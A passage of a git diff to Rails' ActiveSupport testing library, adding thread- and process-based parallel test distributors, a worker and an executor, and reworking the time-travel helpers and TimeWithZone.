+        def take(...)
+          @queue.pop
+        end
+
+        def interrupt
+          @queue.clear
+        end
+
+        def pending?
+          !@queue.empty?
+        end
+
+        def close
+          @queue.close
+        end
+      end
+
+      # Round-robin distributor - tests are assigned to workers as they arrive.
+      #
+      # Tests arrive already shuffled by Minitest based on the seed. Since the arrival
+      # order is deterministic for a given seed, round-robin assignment produces
+      # reproducible test-to-worker distribution.
+      #
+      # This is much simpler than buffering and re-shuffling: tests can start executing
+      # immediately as they arrive, and we avoid complex synchronization.
+      class RoundRobinDistributor < TestDistributor
+        WORK_WAIT_TIMEOUT = 0.1
+
+        def initialize(worker_count:)
+          @worker_count = worker_count
+          @queues = Array.new(@worker_count) { Queue.new }
+          @next_worker = 0
+          @mutex = Mutex.new
+          @cv = ConditionVariable.new
+          @closed = false
+        end
+
+        def add_test(test)
+          @mutex.synchronize do
+            return if @closed || !@queues
+
+            worker_id = @next_worker
+            @next_worker = (@next_worker + 1) % @worker_count
+            queue = @queues[worker_id]
+            queue << test unless queue.closed?
+            @cv.signal  # Wake one waiting worker
+          end
+        end
+
+        def take(worker_id:)
+          job = nil
+
+          until job || exhausted?(worker_id)
+            job = next_job(worker_id)
+            wait(worker_id) unless job || exhausted?(worker_id)
+          end
+
+          job
+        end
+
+        def interrupt
+          @mutex.synchronize do
+            @queues&.each do |q|
+              q.clear
+              q.close
+            end
+            @closed = true
+            @cv.broadcast  # Wake all waiting workers
+          end
+        end
+
+        def pending?
+          @mutex.synchronize do
+            @queues&.any? { |q| !q.empty? }
+          end
+        end
+
+        def close
+          @mutex.synchronize do
+            @queues&.each(&:close)
+            @closed = true
+            @cv.broadcast  # Wake all waiting workers
+          end
+        end
+
+        private
+          def next_job(worker_id)
+            pop_now(worker_id)
+          end
+
+          def pop_now(worker_id)
+            @queues[worker_id].pop(true)
+          rescue ThreadError, ClosedQueueError
+            nil
+          end
+
+          # Waits for work, rechecking exhausted? inside the mutex to handle
+          # the race where close() broadcasts before we start waiting.
+          def wait(worker_id)
+            @mutex.synchronize do
+              @cv.wait(@mutex, WORK_WAIT_TIMEOUT) unless exhausted?(worker_id)
+            end
+          end
+
+          def exhausted?(worker_id)
+            queue = @queues[worker_id]
+            queue.closed? && queue.empty?
+          end
+      end
+
+      # Round-robin distributor with work stealing enabled.
+      # Tests are initially assigned round-robin as they arrive (same as RoundRobinDistributor),
+      # but when a worker exhausts its queue, it can steal work from other workers
+      # to improve load balancing.
+      class RoundRobinWorkStealingDistributor < RoundRobinDistributor
+        private
+          def next_job(worker_id)
+            pop_now(worker_id) || steal(worker_id)
+          end
+
+          def steal(worker_id)
+            # Steal from other workers in a consistent order
+            @worker_count.times do |offset|
+              other_id = (worker_id + offset + 1) % @worker_count
+              if job = pop_now(other_id)
+                return job
+              end
+            end
+
+            nil
+          end
+
+          def exhausted?(...)
+            @queues.all? { |q| q.closed? && q.empty? }
+          end
+      end
+    end
+  end
+end
diff --git a/activesupport/lib/active_support/testing/parallelization/thread_pool_executor.rb b/activesupport/lib/active_support/testing/parallelization/thread_pool_executor.rb
new file mode 100644
index 0000000000000..f7fbd290451cc
--- /dev/null
+++ b/activesupport/lib/active_support/testing/parallelization/thread_pool_executor.rb
@@ -0,0 +1,49 @@
+# frozen_string_literal: true
+
+require "concurrent/executor/fixed_thread_pool"
+
+module ActiveSupport
+  module Testing
+    class Parallelization # :nodoc:
+      # Thread pool executor using a test distributor strategy.
+      # Provides the same interface as Minitest::Parallel::Executor but
+      # with configurable distribution (round robin vs work stealing).
+      class ThreadPoolExecutor
+        attr_reader :size
+
+        def initialize(size:, distributor:)
+          @size = size
+          @distributor = distributor
+          @pool = Concurrent::FixedThreadPool.new(size, fallback_policy: :abort)
+        end
+
+        def start
+          size.times do |worker_id|
+            @pool.post { worker_loop(worker_id) }
+          end
+        end
+
+        def <<(work)
+          @distributor.add_test(work)
+        end
+
+        def shutdown
+          @distributor.close
+          @pool.shutdown
+          @pool.wait_for_termination
+        end
+
+        private
+          def worker_loop(worker_id)
+            while job = @distributor.take(worker_id: worker_id)
+              klass, method, reporter = job
+
+              reporter.synchronize { reporter.prerecord klass, method }
+              result = Minitest.run_one_method klass, method
+              reporter.synchronize { reporter.record result }
+            end
+          end
+      end
+    end
+  end
+end
diff --git a/activesupport/lib/active_support/testing/parallelization/worker.rb b/activesupport/lib/active_support/testing/parallelization/worker.rb
new file mode 100644
index 0000000000000..5ec80c596a0be
--- /dev/null
+++ b/activesupport/lib/active_support/testing/parallelization/worker.rb
@@ -0,0 +1,108 @@
+# frozen_string_literal: true
+
+module ActiveSupport
+  module Testing
+    class Parallelization # :nodoc:
+      class Worker
+        def initialize(number, url)
+          @id = SecureRandom.uuid
+          @number = number
+          @url = url
+          @setup_exception = nil
+        end
+
+        def start
+          fork do
+            set_process_title("(starting)")
+
+            DRb.stop_service
+
+            @queue = DRbObject.new_with_uri(@url)
+            @queue.start_worker(@id, Process.pid)
+
+            begin
+              after_fork
+            rescue => @setup_exception; end
+
+            work_from_queue
+          rescue Interrupt
+            @queue.interrupt
+          ensure
+            set_process_title("(stopping)")
+
+            run_cleanup
+            @queue.stop_worker(@id, Process.pid)
+          end
+        end
+
+        def work_from_queue
+          while job = @queue.pop(@number)
+            perform_job(job)
+          end
+        end
+
+        def perform_job(job)
+          klass    = job[0]
+          method   = job[1]
+          reporter = job[2]
+
+          set_process_title("#{klass}##{method}")
+
+          result = klass.with_info_handler reporter do
+            if Minitest.respond_to?(:run_one_method) then
+              Minitest.run_one_method(klass, method)
+            else
+              klass.new(method).run
+            end
+          end
+
+          safe_record(reporter, result)
+        end
+
+        def safe_record(reporter, result)
+          add_setup_exception(result) if @setup_exception
+
+          begin
+            @queue.record(reporter, result)
+          rescue DRb::DRbConnError
+            result.failures.map! do |failure|
+              if failure.respond_to?(:error)
+                # minitest >5.14.0
+                error = DRb::DRbRemoteError.new(failure.error)
+              else
+                error = DRb::DRbRemoteError.new(failure.exception)
+              end
+              Minitest::UnexpectedError.new(error)
+            end
+            @queue.record(reporter, result)
+          end
+
+          set_process_title("(idle)")
+        end
+
+        def after_fork
+          ActiveSupport::TestCase.parallel_worker_id = @number
+
+          Parallelization.after_fork_hooks.each do |cb|
+            cb.call(@number)
+          end
+        end
+
+        def run_cleanup
+          Parallelization.run_cleanup_hooks.each do |cb|
+            cb.call(@number)
+          end
+        end
+
+        private
+          def add_setup_exception(result)
+            result.failures.prepend Minitest::UnexpectedError.new(@setup_exception)
+          end
+
+          def set_process_title(status)
+            Process.setproctitle("Rails test worker #{@number} - #{status}")
+          end
+      end
+    end
+  end
+end
diff --git a/activesupport/lib/active_support/testing/parallelize_executor.rb b/activesupport/lib/active_support/testing/parallelize_executor.rb
new file mode 100644
index 0000000000000..1023c079fc64b
--- /dev/null
+++ b/activesupport/lib/active_support/testing/parallelize_executor.rb
@@ -0,0 +1,85 @@
+# frozen_string_literal: true
+
+module ActiveSupport
+  module Testing
+    class ParallelizeExecutor # :nodoc:
+      attr_reader :size, :parallelize_with, :threshold, :work_stealing
+
+      def initialize(size:, with:, threshold: ActiveSupport.test_parallelization_threshold, work_stealing: false)
+        @size = size
+        @parallelize_with = with
+        @threshold = threshold
+        @work_stealing = work_stealing
+        @parallelized = false
+      end
+
+      def start
+        parallelize if should_parallelize?
+        show_execution_info
+
+        parallel_executor.start if parallelized?
+      end
+
+      def <<(work)
+        parallel_executor << work if parallelized?
+      end
+
+      def shutdown
+        parallel_executor.shutdown if parallelized?
+      end
+
+      private
+        def parallel_executor
+          @parallel_executor ||= build_parallel_executor
+        end
+
+        def build_parallel_executor
+          case parallelize_with
+          when :processes
+            Testing::Parallelization.new(size, work_stealing: work_stealing)
+          when :threads
+            ActiveSupport::TestCase.lock_threads = false if defined?(ActiveSupport::TestCase.lock_threads)
+            distributor = (work_stealing ? Testing::Parallelization::RoundRobinWorkStealingDistributor : Testing::Parallelization::RoundRobinDistributor).new \
+              worker_count: size
+
+            Testing::Parallelization::ThreadPoolExecutor.new(size: size, distributor: distributor)
+          else
+            raise ArgumentError, "#{parallelize_with} is not a supported parallelization executor."
+          end
+        end
+
+        def parallelize
+          @parallelized = true
+          Minitest::Test.parallelize_me!
+        end
+
+        def parallelized?
+          @parallelized
+        end
+
+        def should_parallelize?
+          (ENV["PARALLEL_WORKERS"] || tests_count > threshold) && many_workers?
+        end
+
+        def many_workers?
+          size > 1
+        end
+
+        def tests_count
+          @tests_count ||= Minitest::Runnable.runnables.sum { |runnable| runnable.runnable_methods.size }
+        end
+
+        def show_execution_info
+          puts execution_info
+        end
+
+        def execution_info
+          if parallelized?
+            "Running #{tests_count} tests in parallel using #{parallel_executor.size} #{parallelize_with}"
+          elsif many_workers?
+            "Running #{tests_count} tests in a single process (parallelization threshold is #{threshold})"
+          end
+        end
+    end
+  end
+end
diff --git a/activesupport/lib/active_support/testing/setup_and_teardown.rb b/activesupport/lib/active_support/testing/setup_and_teardown.rb
index 358c79c321513..9c12dc2ee3f94 100644
--- a/activesupport/lib/active_support/testing/setup_and_teardown.rb
+++ b/activesupport/lib/active_support/testing/setup_and_teardown.rb
@@ -1,4 +1,5 @@
-require "active_support/concern"
+# frozen_string_literal: true
+
 require "active_support/callbacks"
 
 module ActiveSupport
@@ -17,11 +18,10 @@ module Testing
     #     end
     #   end
     module SetupAndTeardown
-      extend ActiveSupport::Concern
-
-      included do
-        include ActiveSupport::Callbacks
-        define_callbacks :setup, :teardown
+      def self.prepended(klass)
+        klass.include ActiveSupport::Callbacks
+        klass.define_callbacks :setup, :teardown
+        klass.extend ClassMethods
       end
 
       module ClassMethods
@@ -42,7 +42,14 @@ def before_setup # :nodoc:
       end
 
       def after_teardown # :nodoc:
-        run_callbacks :teardown
+        begin
+          run_callbacks :teardown
+        rescue => e
+          self.failures << Minitest::UnexpectedError.new(e)
+        rescue Minitest::Assertion => e
+          self.failures << e
+        end
+
         super
       end
     end
diff --git a/activesupport/lib/active_support/testing/stream.rb b/activesupport/lib/active_support/testing/stream.rb
index 1d06b945591f6..0b8e0298a0d01 100644
--- a/activesupport/lib/active_support/testing/stream.rb
+++ b/activesupport/lib/active_support/testing/stream.rb
@@ -1,8 +1,9 @@
+# frozen_string_literal: true
+
 module ActiveSupport
   module Testing
-    module Stream #:nodoc:
+    module Stream # :nodoc:
       private
-
         def silence_stream(stream)
           old_stream = stream.dup
           stream.reopen(IO::NULL)
@@ -13,25 +14,23 @@ def silence_stream(stream)
           old_stream.close
         end
 
-        def quietly
+        def quietly(&block)
           silence_stream(STDOUT) do
-            silence_stream(STDERR) do
-              yield
-            end
+            silence_stream(STDERR, &block)
           end
         end
 
         def capture(stream)
           stream = stream.to_s
           captured_stream = Tempfile.new(stream)
-          stream_io = eval("$#{stream}")
+          stream_io = eval("$#{stream}", binding, __FILE__, __LINE__)
           origin_stream = stream_io.dup
           stream_io.reopen(captured_stream)
 
           yield
 
           stream_io.rewind
-          return captured_stream.read
+          captured_stream.read
         ensure
           captured_stream.close
           captured_stream.unlink
diff --git a/activesupport/lib/active_support/testing/tagged_logging.rb b/activesupport/lib/active_support/testing/tagged_logging.rb
index afdff87b45887..7d38268b7fadb 100644
--- a/activesupport/lib/active_support/testing/tagged_logging.rb
+++ b/activesupport/lib/active_support/testing/tagged_logging.rb
@@ -1,8 +1,10 @@
+# frozen_string_literal: true
+
 module ActiveSupport
   module Testing
     # Logs a "PostsControllerTest: test name" heading before each test to
     # make test.log easier to search and follow along with.
-    module TaggedLogging #:nodoc:
+    module TaggedLogging # :nodoc:
       attr_writer :tagged_logger
 
       def before_setup
diff --git a/activesupport/lib/active_support/testing/tests_without_assertions.rb b/activesupport/lib/active_support/testing/tests_without_assertions.rb
new file mode 100644
index 0000000000000..eaab5d0409939
--- /dev/null
+++ b/activesupport/lib/active_support/testing/tests_without_assertions.rb
@@ -0,0 +1,19 @@
+# frozen_string_literal: true
+
+module ActiveSupport
+  module Testing
+    # Warns when a test case does not perform any assertions.
+    #
+    # This is helpful in detecting broken tests that do not perform intended assertions.
+    module TestsWithoutAssertions # :nodoc:
+      def after_teardown
+        super
+
+        if assertions.zero? && !skipped? && !error?
+          file, line = method(name).source_location
+          warn "Test is missing assertions: `#{name}` #{File.expand_path(file)}:#{line}"
+        end
+      end
+    end
+  end
+end
diff --git a/activesupport/lib/active_support/testing/time_helpers.rb b/activesupport/lib/active_support/testing/time_helpers.rb
index 07c9be0604a38..b80f843ba86a2 100644
--- a/activesupport/lib/active_support/testing/time_helpers.rb
+++ b/activesupport/lib/active_support/testing/time_helpers.rb
@@ -1,28 +1,39 @@
-require "active_support/core_ext/string/strip" # for strip_heredoc
-require "concurrent/map"
+# frozen_string_literal: true
+
+require "active_support/core_ext/module/redefine_method"
+require "active_support/core_ext/time/calculations"
 
 module ActiveSupport
   module Testing
+    # Manages stubs for TimeHelpers
     class SimpleStubs # :nodoc:
       Stub = Struct.new(:object, :method_name, :original_method)
 
       def initialize
-        @stubs = Concurrent::Map.new { |h, k| h[k] = {} }
+        @stubs = Hash.new { |h, k| h[k] = {} }
       end
 
+      # Stubs object.method_name with the given block
+      # If the method is already stubbed, remove that stub
+      # so that removing this stub will restore the original implementation.
+      #   Time.current # => Sat, 09 Nov 2013 15:34:49 EST -05:00
+      #   target = Time.zone.local(2004, 11, 24, 1, 4, 44)
+      #   simple_stubs.stub_object(Time, :now) { at(target.to_i) }
+      #   Time.current # => Wed, 24 Nov 2004 01:04:44 EST -05:00
       def stub_object(object, method_name, &block)
         if stub = stubbing(object, method_name)
           unstub_object(stub)
         end
 
-        new_name = "__simple_stub__#{method_name}"
+        new_name = "__simple_stub__#{method_name}__#{object_id}"
 
         @stubs[object.object_id][method_name] = Stub.new(object, method_name, new_name)
 
-        object.singleton_class.send :alias_method, new_name, method_name
+        object.singleton_class.alias_method new_name, method_name
         object.define_singleton_method(method_name, &block)
       end
 
+      # Remove all object-method stubs held by this instance
       def unstub_all!
         @stubs.each_value do |object_stubs|
           object_stubs.each_value do |stub|
@@ -32,24 +43,42 @@ def unstub_all!
         @stubs.clear
       end
 
+      # Returns the Stub for object#method_name
+      # (nil if it is not stubbed)
       def stubbing(object, method_name)
         @stubs[object.object_id][method_name]
       end
 
-      private
+      # Returns true if any stubs are set, false if there are none
+      def stubbed?
+        !@stubs.empty?
+      end
 
+      private
+        # Restores the original object.method described by the Stub
         def unstub_object(stub)
           singleton_class = stub.object.singleton_class
-          singleton_class.send :undef_method, stub.method_name
-          singleton_class.send :alias_method, stub.method_name, stub.original_method
-          singleton_class.send :undef_method, stub.original_method
+          singleton_class.silence_redefinition_of_method stub.method_name
+          singleton_class.alias_method stub.method_name, stub.original_method
+          singleton_class.undef_method stub.original_method
         end
     end
 
     # Contains helpers that help you test passage of time.
     module TimeHelpers
+      def after_teardown
+        travel_back
+        super
+      end
+
       # Changes current time to the time in the future or in the past by a given time difference by
-      # stubbing +Time.now+, +Date.today+, and +DateTime.now+.
+      # stubbing +Time.now+, +Date.today+, and +DateTime.now+. The stubs are automatically removed
+      # at the end of the test.
+      #
+      # Note that the usec for the resulting time will be set to 0 to prevent rounding
+      # errors with external services, like MySQL (which will round instead of floor,
+      # leading to off-by-one-second errors), unless the <tt>with_usec</tt> argument
+      # is set to <tt>true</tt>.
       #
       #   Time.current     # => Sat, 09 Nov 2013 15:34:49 EST -05:00
       #   travel 1.day
@@ -65,15 +94,16 @@ module TimeHelpers
       #     User.create.created_at # => Sun, 10 Nov 2013 15:34:49 EST -05:00
       #   end
       #   Time.current # => Sat, 09 Nov 2013 15:34:49 EST -05:00
-      def travel(duration, &block)
-        travel_to Time.now + duration, &block
+      def travel(duration, with_usec: false, &block)
+        travel_to Time.now + duration, with_usec: with_usec, &block
       end
 
-      # Changes current time to the given time by stubbing +Time.now+,
+      # Changes current time to the given time by stubbing +Time.now+, +Time.new+,
       # +Date.today+, and +DateTime.now+ to return the time or date passed into this method.
+      # The stubs are automatically removed at the end of the test.
       #
       #   Time.current     # => Sat, 09 Nov 2013 15:34:49 EST -05:00
-      #   travel_to Time.zone.local(2004, 11, 24, 01, 04, 44)
+      #   travel_to Time.zone.local(2004, 11, 24, 1, 4, 44)
       #   Time.current     # => Wed, 24 Nov 2004 01:04:44 EST -05:00
       #   Date.current     # => Wed, 24 Nov 2004
       #   DateTime.current # => Wed, 24 Nov 2004 01:04:44 -0500
@@ -89,19 +119,20 @@ def travel(duration, &block)
       #
       # Note that the usec for the time passed will be set to 0 to prevent rounding
       # errors with external services, like MySQL (which will round instead of floor,
-      # leading to off-by-one-second errors).
+      # leading to off-by-one-second errors), unless the <tt>with_usec</tt> argument
+      # is set to <tt>true</tt>.
       #
       # This method also accepts a block, which will return the current time back to its original
       # state at the end of the block:
       #
       #   Time.current # => Sat, 09 Nov 2013 15:34:49 EST -05:00
-      #   travel_to Time.zone.local(2004, 11, 24, 01, 04, 44) do
+      #   travel_to Time.zone.local(2004, 11, 24, 1, 4, 44) do
       #     Time.current # => Wed, 24 Nov 2004 01:04:44 EST -05:00
       #   end
       #   Time.current # => Sat, 09 Nov 2013 15:34:49 EST -05:00
-      def travel_to(date_or_time)
-        if block_given? && simple_stubs.stubbing(Time, :now)
-          travel_to_nested_block_call = <<-MSG.strip_heredoc
+      def travel_to(date_or_time, with_usec: false)
+        if block_given? && in_block
+          travel_to_nested_block_call = <<~MSG
 
       Calling `travel_to` with a block, when we have previously already made a call to `travel_to`, can lead to confusing time stubbing.
 
@@ -130,40 +161,113 @@ def travel_to(date_or_time)
 
         if date_or_time.is_a?(Date) && !date_or_time.is_a?(DateTime)
           now = date_or_time.midnight.to_time
+        elsif date_or_time.is_a?(String)
+          now = Time.zone.parse(date_or_time)
         else
-          now = date_or_time.to_time.change(usec: 0)
+          now = date_or_time
+          now = now.to_time unless now.is_a?(Time)
         end
 
-        simple_stubs.stub_object(Time, :now) { at(now.to_i) }
-        simple_stubs.stub_object(Date, :today) { jd(now.to_date.jd) }
-        simple_stubs.stub_object(DateTime, :now) { jd(now.to_date.jd, now.hour, now.min, now.sec, Rational(now.utc_offset, 86400)) }
+        now = now.change(usec: 0) unless with_usec
+
+        # +now+ must be in local system timezone, because +Time.at(now)+
+        # and +now.to_date+ (see stubs below) will use +now+'s timezone too!
+        now = now.getlocal
+
+        stubs = simple_stubs
+        stubbed_time = Time.now if stubs.stubbing(Time, :now)
+        stubs.stub_object(Time, :now) { at(now) }
+
+        stubs.stub_object(Time, :new) do |*args, **options|
+          if args.empty? && options.empty?
+            at(now)
+          else
+            stub = stubs.stubbing(Time, :new)
+            Time.send(stub.original_method, *args, **options)
+          end
+        end
+
+        stubs.stub_object(Date, :today) { jd(now.to_date.jd) }
+        stubs.stub_object(DateTime, :now) { jd(now.to_date.jd, now.hour, now.min, now.sec, Rational(now.utc_offset, 86400)) }
 
         if block_given?
           begin
+            self.in_block = true
             yield
           ensure
-            travel_back
+            if stubbed_time
+              travel_to stubbed_time
+            else
+              travel_back
+            end
+            self.in_block = false
           end
         end
       end
 
       # Returns the current time back to its original state, by removing the stubs added by
-      # `travel` and `travel_to`.
+      # +travel+, +travel_to+, and +freeze_time+.
       #
       #   Time.current # => Sat, 09 Nov 2013 15:34:49 EST -05:00
-      #   travel_to Time.zone.local(2004, 11, 24, 01, 04, 44)
+      #
+      #   travel_to Time.zone.local(2004, 11, 24, 1, 4, 44)
       #   Time.current # => Wed, 24 Nov 2004 01:04:44 EST -05:00
+      #
       #   travel_back
       #   Time.current # => Sat, 09 Nov 2013 15:34:49 EST -05:00
+      #
+      # This method also accepts a block, which brings the stubs back at the end of the block:
+      #
+      #   Time.current # => Sat, 09 Nov 2013 15:34:49 EST -05:00
+      #
+      #   travel_to Time.zone.local(2004, 11, 24, 1, 4, 44)
+      #   Time.current # => Wed, 24 Nov 2004 01:04:44 EST -05:00
+      #
+      #   travel_back do
+      #     Time.current # => Sat, 09 Nov 2013 15:34:49 EST -05:00
+      #   end
+      #
+      #   Time.current # => Wed, 24 Nov 2004 01:04:44 EST -05:00
       def travel_back
+        stubbed_time = Time.current if block_given? && simple_stubs.stubbed?
+
         simple_stubs.unstub_all!
+        yield if block_given?
+      ensure
+        travel_to stubbed_time if stubbed_time
       end
+      alias_method :unfreeze_time, :travel_back
 
-      private
+      # Calls +travel_to+ with +date_or_time+, which defaults to +Time.now+.
+      # Forwards optional <tt>with_usec</tt> argument.
+      #
+      #   Time.current # => Sun, 09 Jul 2017 15:34:49 EST -05:00
+      #   freeze_time
+      #   sleep(1)
+      #   Time.current # => Sun, 09 Jul 2017 15:34:49 EST -05:00
+      #   freeze_time Time.current + 1.day
+      #   sleep(1)
+      #   Time.current # => Mon, 10 Jul 2017 15:34:49 EST -05:00
+      #
+      # This method also accepts a block, which will return the current time back to its original
+      # state at the end of the block:
+      #
+      #   Time.current # => Sun, 09 Jul 2017 15:34:49 EST -05:00
+      #   freeze_time do
+      #     sleep(1)
+      #     User.create.created_at # => Sun, 09 Jul 2017 15:34:49 EST -05:00
+      #   end
+      #   Time.current # => Sun, 09 Jul 2017 15:34:50 EST -05:00
+      def freeze_time(date_or_time = Time.now, with_usec: false, &block)
+        travel_to date_or_time, with_usec: with_usec, &block
+      end
 
+      private
         def simple_stubs
           @simple_stubs ||= SimpleStubs.new
         end
+
+        attr_accessor :in_block
     end
   end
 end
diff --git a/activesupport/lib/active_support/time.rb b/activesupport/lib/active_support/time.rb
index 7658228ca681b..51854675bf54c 100644
--- a/activesupport/lib/active_support/time.rb
+++ b/activesupport/lib/active_support/time.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 module ActiveSupport
   autoload :Duration, "active_support/duration"
   autoload :TimeWithZone, "active_support/time_with_zone"
diff --git a/activesupport/lib/active_support/time_with_zone.rb b/activesupport/lib/active_support/time_with_zone.rb
index 889f71c4f369f..193d6b6c85645 100644
--- a/activesupport/lib/active_support/time_with_zone.rb
+++ b/activesupport/lib/active_support/time_with_zone.rb
@@ -1,73 +1,80 @@
+# frozen_string_literal: true
+
+require "yaml"
+
 require "active_support/duration"
 require "active_support/values/time_zone"
 require "active_support/core_ext/object/acts_like"
 require "active_support/core_ext/date_and_time/compatibility"
 
 module ActiveSupport
+  # = Active Support \Time With Zone
+  #
   # A Time-like class that can represent a time in any time zone. Necessary
   # because standard Ruby Time instances are limited to UTC and the
   # system's <tt>ENV['TZ']</tt> zone.
   #
   # You shouldn't ever need to create a TimeWithZone instance directly via +new+.
-  # Instead use methods +local+, +parse+, +at+ and +now+ on TimeZone instances,
+  # Instead use methods +local+, +parse+, +at+, and +now+ on TimeZone instances,
   # and +in_time_zone+ on Time and DateTime instances.
   #
   #   Time.zone = 'Eastern Time (US & Canada)'        # => 'Eastern Time (US & Canada)'
-  #   Time.zone.local(2007, 2, 10, 15, 30, 45)        # => Sat, 10 Feb 2007 15:30:45 EST -05:00
-  #   Time.zone.parse('2007-02-10 15:30:45')          # => Sat, 10 Feb 2007 15:30:45 EST -05:00
-  #   Time.zone.at(1171139445)                        # => Sat, 10 Feb 2007 15:30:45 EST -05:00
-  #   Time.zone.now                                   # => Sun, 18 May 2008 13:07:55 EDT -04:00
-  #   Time.utc(2007, 2, 10, 20, 30, 45).in_time_zone  # => Sat, 10 Feb 2007 15:30:45 EST -05:00
+  #   Time.zone.local(2007, 2, 10, 15, 30, 45)        # => Sat, 10 Feb 2007 15:30:45.000000000 EST -05:00
+  #   Time.zone.parse('2007-02-10 15:30:45')          # => Sat, 10 Feb 2007 15:30:45.000000000 EST -05:00
+  #   Time.zone.at(1171139445)                        # => Sat, 10 Feb 2007 15:30:45.000000000 EST -05:00
+  #   Time.zone.now                                   # => Sun, 18 May 2008 13:07:55.754107581 EDT -04:00
+  #   Time.utc(2007, 2, 10, 20, 30, 45).in_time_zone  # => Sat, 10 Feb 2007 15:30:45.000000000 EST -05:00
   #
   # See Time and TimeZone for further documentation of these methods.
   #
   # TimeWithZone instances implement the same API as Ruby Time instances, so
   # that Time and TimeWithZone instances are interchangeable.
   #
-  #   t = Time.zone.now                     # => Sun, 18 May 2008 13:27:25 EDT -04:00
+  #   t = Time.zone.now                     # => Sun, 18 May 2008 13:27:25.031505668 EDT -04:00
   #   t.hour                                # => 13
   #   t.dst?                                # => true
   #   t.utc_offset                          # => -14400
   #   t.zone                                # => "EDT"
-  #   t.to_s(:rfc822)                       # => "Sun, 18 May 2008 13:27:25 -0400"
-  #   t + 1.day                             # => Mon, 19 May 2008 13:27:25 EDT -04:00
-  #   t.beginning_of_year                   # => Tue, 01 Jan 2008 00:00:00 EST -05:00
+  #   t.to_fs(:rfc822)                      # => "Sun, 18 May 2008 13:27:25 -0400"
+  #   t + 1.day                             # => Mon, 19 May 2008 13:27:25.031505668 EDT -04:00
+  #   t.beginning_of_year                   # => Tue, 01 Jan 2008 00:00:00.000000000 EST -05:00
   #   t > Time.utc(1999)                    # => true
   #   t.is_a?(Time)                         # => true
   #   t.is_a?(ActiveSupport::TimeWithZone)  # => true
   class TimeWithZone
-    # Report class name as 'Time' to thwart type checking.
-    def self.name
-      "Time"
-    end
-
-    PRECISIONS = Hash.new { |h, n| h[n] = "%FT%T.%#{n}N".freeze }
-    PRECISIONS[0] = "%FT%T".freeze
+    PRECISIONS = Hash.new { |h, n| h[n] = "%FT%T.%#{n}N" }
+    PRECISIONS[0] = "%FT%T"
 
     include Comparable, DateAndTime::Compatibility
     attr_reader :time_zone
 
     def initialize(utc_time, time_zone, local_time = nil, period = nil)
-      @utc = utc_time ? transfer_time_values_to_utc_constructor(utc_time) : nil
       @time_zone, @time = time_zone, local_time
-      @period = @utc ? period : get_period_and_ensure_valid_local_time(period)
+      if utc_time
+        @utc = transfer_time_values_to_utc_constructor(utc_time)
+        @period = period
+      else
+        @utc = nil
+        @period = get_period_and_ensure_valid_local_time(period)
+      end
+      @is_utc = zone == "UTC" || zone == "UCT"
     end
 
     # Returns a <tt>Time</tt> instance that represents the time in +time_zone+.
     def time
-      @time ||= period.to_local(@utc)
+      @time ||= incorporate_utc_offset(@utc, utc_offset)
     end
 
     # Returns a <tt>Time</tt> instance of the simultaneous time in the UTC timezone.
     def utc
-      @utc ||= period.to_utc(@time)
+      @utc ||= incorporate_utc_offset(@time, -utc_offset)
     end
     alias_method :comparable_time, :utc
     alias_method :getgm, :utc
     alias_method :getutc, :utc
     alias_method :gmtime, :utc
 
-    # Returns the underlying TZInfo::TimezonePeriod.
+    # Returns the underlying +TZInfo::TimezonePeriod+.
     def period
       @period ||= time_zone.period_for_utc(@utc)
     end
@@ -84,7 +91,7 @@ def localtime(utc_offset = nil)
     end
     alias_method :getlocal, :localtime
 
-    # Returns true if the current time is within Daylight Savings Time for the
+    # Returns true if the current time is within Daylight Savings \Time for the
     # specified time zone.
     #
     #   Time.zone = 'Eastern Time (US & Canada)'    # => 'Eastern Time (US & Canada)'
@@ -102,13 +109,13 @@ def dst?
     #   Time.zone = 'Eastern Time (US & Canada)'    # => 'Eastern Time (US & Canada)'
     #   Time.zone.now.utc?                          # => false
     def utc?
-      period.offset.abbreviation == :UTC || period.offset.abbreviation == :UCT
+      @is_utc
     end
     alias_method :gmt?, :utc?
 
     # Returns the offset from current time to UTC time in seconds.
     def utc_offset
-      period.utc_total_offset
+      period.observed_utc_offset
     end
     alias_method :gmt_offset, :utc_offset
     alias_method :gmtoff, :utc_offset
@@ -130,14 +137,14 @@ def formatted_offset(colon = true, alternate_utc_string = nil)
     #   Time.zone = 'Eastern Time (US & Canada)'   # => "Eastern Time (US & Canada)"
     #   Time.zone.now.zone # => "EST"
     def zone
-      period.zone_identifier.to_s
+      period.abbreviation
     end
 
     # Returns a string of the object's date, time, zone, and offset from UTC.
     #
-    #   Time.zone.now.inspect # => "Thu, 04 Dec 2014 11:00:25 EST -05:00"
+    #   Time.zone.now.inspect # => "2024-11-13 07:00:10.528054960 UTC +00:00"
     def inspect
-      "#{time.strftime('%a, %d %b %Y %H:%M:%S')} #{zone} #{formatted_offset}"
+      "#{time.strftime('%F %H:%M:%S.%9N')} #{zone} #{formatted_offset}"
     end
 
     # Returns a string of the object's date and time in the ISO 8601 standard
@@ -145,9 +152,20 @@ def inspect
     #
     #   Time.zone.now.xmlschema  # => "2014-12-04T11:02:37-05:00"
     def xmlschema(fraction_digits = 0)
-      "#{time.strftime(PRECISIONS[fraction_digits.to_i])}#{formatted_offset(true, 'Z'.freeze)}"
+      precision = fraction_digits || 0
+
+      if @is_utc
+        utc.iso8601(precision)
+      else
+        str = time.iso8601(precision)
+        offset = formatted_offset(true, "Z")
+
+        str.sub!(/(Z|[+-]\d{2}:\d{2})\z/, offset)
+        str
+      end
     end
     alias_method :iso8601, :xmlschema
+    alias_method :rfc3339, :xmlschema
 
     # Coerces time to a string for JSON encoding. The default format is ISO 8601.
     # You can get %Y/%m/%d %H:%M:%S +offset style by setting
@@ -155,26 +173,25 @@ def xmlschema(fraction_digits = 0)
     # to +false+.
     #
     #   # With ActiveSupport::JSON::Encoding.use_standard_json_time_format = true
-    #   Time.utc(2005,2,1,15,15,10).in_time_zone("Hawaii").to_json
+    #   Time.utc(2005,2,1,15,15,10).in_time_zone("Hawaii").as_json
     #   # => "2005-02-01T05:15:10.000-10:00"
     #
     #   # With ActiveSupport::JSON::Encoding.use_standard_json_time_format = false
-    #   Time.utc(2005,2,1,15,15,10).in_time_zone("Hawaii").to_json
+    #   Time.utc(2005,2,1,15,15,10).in_time_zone("Hawaii").as_json
     #   # => "2005/02/01 05:15:10 -1000"
     def as_json(options = nil)
       if ActiveSupport::JSON::Encoding.use_standard_json_time_format
-        xmlschema(ActiveSupport::JSON::Encoding.time_precision)
+        xmlschema(ActiveSupport::JSON::Encoding.time_precision).force_encoding(Encoding::UTF_8)
       else
